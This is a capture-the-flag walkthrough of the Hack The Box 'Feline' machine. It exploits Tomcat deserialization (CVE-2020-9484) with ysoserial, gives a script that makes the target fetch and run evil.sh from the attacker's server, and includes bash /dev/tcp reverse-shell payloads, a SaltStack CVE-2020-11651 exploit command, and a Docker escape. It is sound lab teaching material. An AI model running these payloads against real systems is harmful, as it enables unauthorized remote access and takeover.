---
description: >-
  Linux Hard Box where we will face Java deserialization, salt attack, port
  forwarding and docker environments, a really nice trip that starts with some
  Enumeration, lets start!
---

# Hack The Box - Feline Walkthrough without Metasploit

![Feline](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MTyyU_XL6donHAMHTxd%2Fimage.png?alt=media\&token=eb78e094-9e83-4845-80f4-ce15b271e3bc)

## Enumeration

Let's run our NmapAutomator script for a first recon:

```
NmapAutomator.sh 10.10.10.205 All
```

![Nmap Scan](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MTyzAQgev_1bclr--nk%2Fimage.png?alt=media\&token=b7f20f12-173a-4c93-924b-b06d401e3c82)

### Ports

We have two ports open: 22 and 8080. Let's take a look at the http port.

#### **22**

This is the SSH (Secure Shell) port, we might be able to use it later to log in if we find any valid username and its password or its rsa key.

**8080**

We have a http port open, on port 8080 we have an **Apache Tomcat 9.0.27** running, lets run **gobuster.**

![Gobuster Scan](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MTz5Es2hxW6Wb68_cJs%2Fimage.png?alt=media\&token=5bec79c0-2293-4cf4-ace4-227ae7ee08e6)

On index.html we didn't find much, but on service we found this:

![VirusBucket Service](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MTz1VfP9wDvgz1qGABd%2Fimage.png?alt=media\&token=715f7ba9-af77-4110-a5fe-7101dd956436)

Apparently, we can upload a sample to get tested. So far, we know we can upload files and that Apache Tomcat is version 9.0.27.

With some quick google search about the Apache version we found this:

{% embed url="https://www.redtimmy.com/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/" %}

It seems that  Apache Tomcat 9.x < 9.0.35 is vulnerable to some RCE by deserialization. This was also told by NmapAutomator script when running Vuln scan on basic ports:

![Nmap Vuln Scan on port 8080](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MTz5oO1C-Rwjbo4q7rS%2Fimage.png?alt=media\&token=2b2cec63-397b-48c6-b69f-aa014ee614e7)

Let's see if meets the criteria, we can upload files, but we do not know where they are being uploaded to, so we intercept a request trying to upload a php reverse shell:

![Burp Intercepting Request](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MTz7dWxcKZiMOYPLp0Y%2Fimage.png?alt=media\&token=176f6981-b966-4978-bd38-f8b465332c7f)

Send it to repeater and let's play with it a bit:

![Request sent](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MTz83tKT-Fd0Q6yBxNT%2Fimage.png?alt=media\&token=960adee1-bf50-4e90-ad9e-63761c83c92d)

If we do not modify it, it uploads correctly (doesn't get us a shell though) so let's try to upload different files, we tried several files and all seemed to upload but when we try to upload an application (in this case an elf binary):

![File Upload Failed](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MTz9e6I7it3DjQsNLRB%2Fimage.png?alt=media\&token=71f40973-7f6a-41ab-9db6-5ec0b76a8cf1)

This tells us a great deal; it first reveals the path on where it is being upload the file: **/opt/tomcat/temp/upload**_**...**_**tmp**

It also shows a **java.io.FileNotFoundException**

## **Exploitation**

The possible attack spoke about a deserialization RCE condition, **Ysoserial** comes to mind:

{% embed url="https://github.com/frohoff/ysoserial" %}
Ysoserial Java deserialization
{% endembed %}

### Foothold

We download the latest jar from JitPack and here is where it gets interesting, I have made a couple of scripts to automate all the process:

First, we create our payload (we will call it **evil.sh**):

```bash
#!/bin/bash
bash -i >& /dev/tcp/<IP>/<Port> 0>&1
```

Now the **ysoserial** part, its divided in three parts:

1. We create a deseralizated java object that will call our **evil.sh** and place it somewhere safe **evil.session**
   1. Make a Curl sending the object (-F as image **image=@evil.session**)
   2. A second Curl calling the object
2. Make another  deseralizated java object that will chmod our **evil.sh,** making sure we can run it **allowevil.session**
   1. Make a Curl sending the object
   2. A second Curl calling the object
3. Finally, we make a deseralizated java object that will execute it **execevil.session**
   1. Make a Curl sending the object
   2. A second Curl calling the object

```bash
#!/bin/bash
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2  "curl <IP>/evil.sh -o /tmp/evil.sh" > evil.session
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/evil' -F 'image=@evil.session'
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/evil'

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2  "chmod 777 /tmp/evil.sh" > allowevil.session
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/allowevil' -F 'image=@allowevil.session'
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/allowevil'

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2  "bash /tmp/evil.sh" > execevil.session
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/execevil' -F 'image=@execevil.session'
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/execevil'
```

Start a python http server on port 80 where our evil.sh is placed:

```bash
python -m SimpleHTTPServer
```

Prepare a netcat listener and run the script:

![Execute script](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MTzGKMH8e41ugS7HOVv%2Fimage.png?alt=media\&token=086bf11a-6f6f-4eae-8b37-611476e88554)

We execute our script and it grabs the evil payload from our server and execute it granting us access to the box, we are in as tomcat, we can upgrade our shell with python:

![Upgrading our initial Shell](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MTzHEXuljYdtjwVLdIx%2Fimage.png?alt=media\&token=22cc77b1-167e-4255-ac43-9f335b223e08)

We can grab our user flag as the user is Tomcat.

## Internal Enumeration

Let's send over our linpeas.sh and run it:

{% embed url="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite" %}
Awesome Scripts Suite for Privilege Escalation
{% endembed %}

With this enumeration we saw something interesting:

It seems to be a Docker container but we are not actually on it

![ifconfig](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MU-CjplLo4pf_TTx7ig%2Fimage.png?alt=media\&token=c380cf93-ca67-42a5-af09-c9953868d52f)

Active Ports:

![Active Ports](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MTzLPClCLTmUJytN2jC%2Fimage.png?alt=media\&token=c36c05e7-1e30-4eb6-9b25-ba5173877f99)

We have two interesting ports listening on localhost **4505** & **4506** which belongs to Salt Communication.

Some information about Salt Communication:

{% embed url="https://docs.saltproject.io/en/getstarted/system/communication.html" %}
Understanding SaltStack
{% endembed %}

Further investigating SaltStack we found it can be vulnerable: [https://gist.github.com/SwitHak/8e7fa45b5656c691ddf13c8c47e8fda6](https://gist.github.com/SwitHak/8e7fa45b5656c691ddf13c8c47e8fda6)

And found a possible PoC to exploit given vulnerability:

{% embed url="https://github.com/jasperla/CVE-2020-11651-poc" %}
CVE 2020-11651 PoC
{% endembed %}

&#x20;With that in mind let's start our attack.

### **Port Forwarding**

First things first, let's redirect port **4506** to port **4556** so it can be accessed from our machine. We will use **Socat**

{% embed url="http://www.dest-unreach.org/socat/" %}
Socat
{% endembed %}

We send the socat binary to our victims' box, give it execution permissions and start a port forwarding, in order to do that we will need to follow these steps:

* Send socat binary to the victim and give execution permissions and start the port forwarding, sending it to the background with **&** so we still can use that shell:

```bash
wget <IP>/socat
chmod +x socat
./socat TCP-LISTEN:<outbound-port>,fork,reuseaddr TCP:127.0.0.1:<port> &
```

![Socat Port Forwarding](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MU-9AAL21LEKhYZD2_F%2Fimage.png?alt=media\&token=ab13b6bf-6441-467c-abf7-5fcd6ca84e20)

* Now we can access the victims port 4506 on his port 4556

### Exploitation

Let's try to use our PoC now, first we need to install salt python module:

```bash
pip install salt
```

Now we execute the python script with the following arguments:

```bash
python3 exploit.py --master 10.10.10.205 --port <Forwarded-Port> --exec 'bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"'
```

![SaltStack Attack](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MU-9tGDzC1xIhaTSCyT%2Fimage.png?alt=media\&token=a77318dd-98ca-44b5-ac9d-b346ce0637a1)

It worked and we are root! But wait... the hostname is different

![Docker Container](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MU-AGfeP0whjVpbaSRp%2Fimage.png?alt=media\&token=fcf843a7-8223-4a3d-86f1-1b52190d0541)

We are on the docker container... we are not done yet.

## Privilege Escalation

If we go to /usr/bin in our Tomcat shell we will be able to see the docker binary:

![Docker](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MU-E11y4HoGICGqMF63%2Fimage.png?alt=media\&token=84e3e6b1-97df-4776-bca9-fe16f9d01b5b)

Since now we have a root shell on the docker container, we can retrieve it from Tomcat shell and mount it in order to be able to escalate privileges, we have python3 installed so we can start a server with it:

![python3 server](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MU-EQrQe8izn0gECWua%2Fimage.png?alt=media\&token=a9ff4494-c6c3-4376-a315-ee62174051ca)

Now we try to retrieve that docker container from our root shell:

![Get the docker container](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MU-FT9FWqjqAO0Cukby%2Fimage.png?alt=media\&token=3d01f14d-c844-46ba-a243-bdf707aae3b8)

We can mount it now:

![Mount Docker container](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MU-G1q2cZ4ZRUzy-xFL%2Fimage.png?alt=media\&token=45c0614a-0eb2-4a6a-8f5a-7441350913e9)

Remember that you need a TTY so if you haven't spawned a TTY shell, you can use python in order to do so and then mount the container.

## Pwnd

In order to get the root flag, we have to go to /mnt which is where we have mounted our docker container and from there to /root

![Root Flag](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MTyyN2G99SnDVinVHJh%2F-MU-GZB9SrzHRD6t3sfS%2Fimage.png?alt=media\&token=0282bdcb-2b19-407d-a96f-c29545549064)
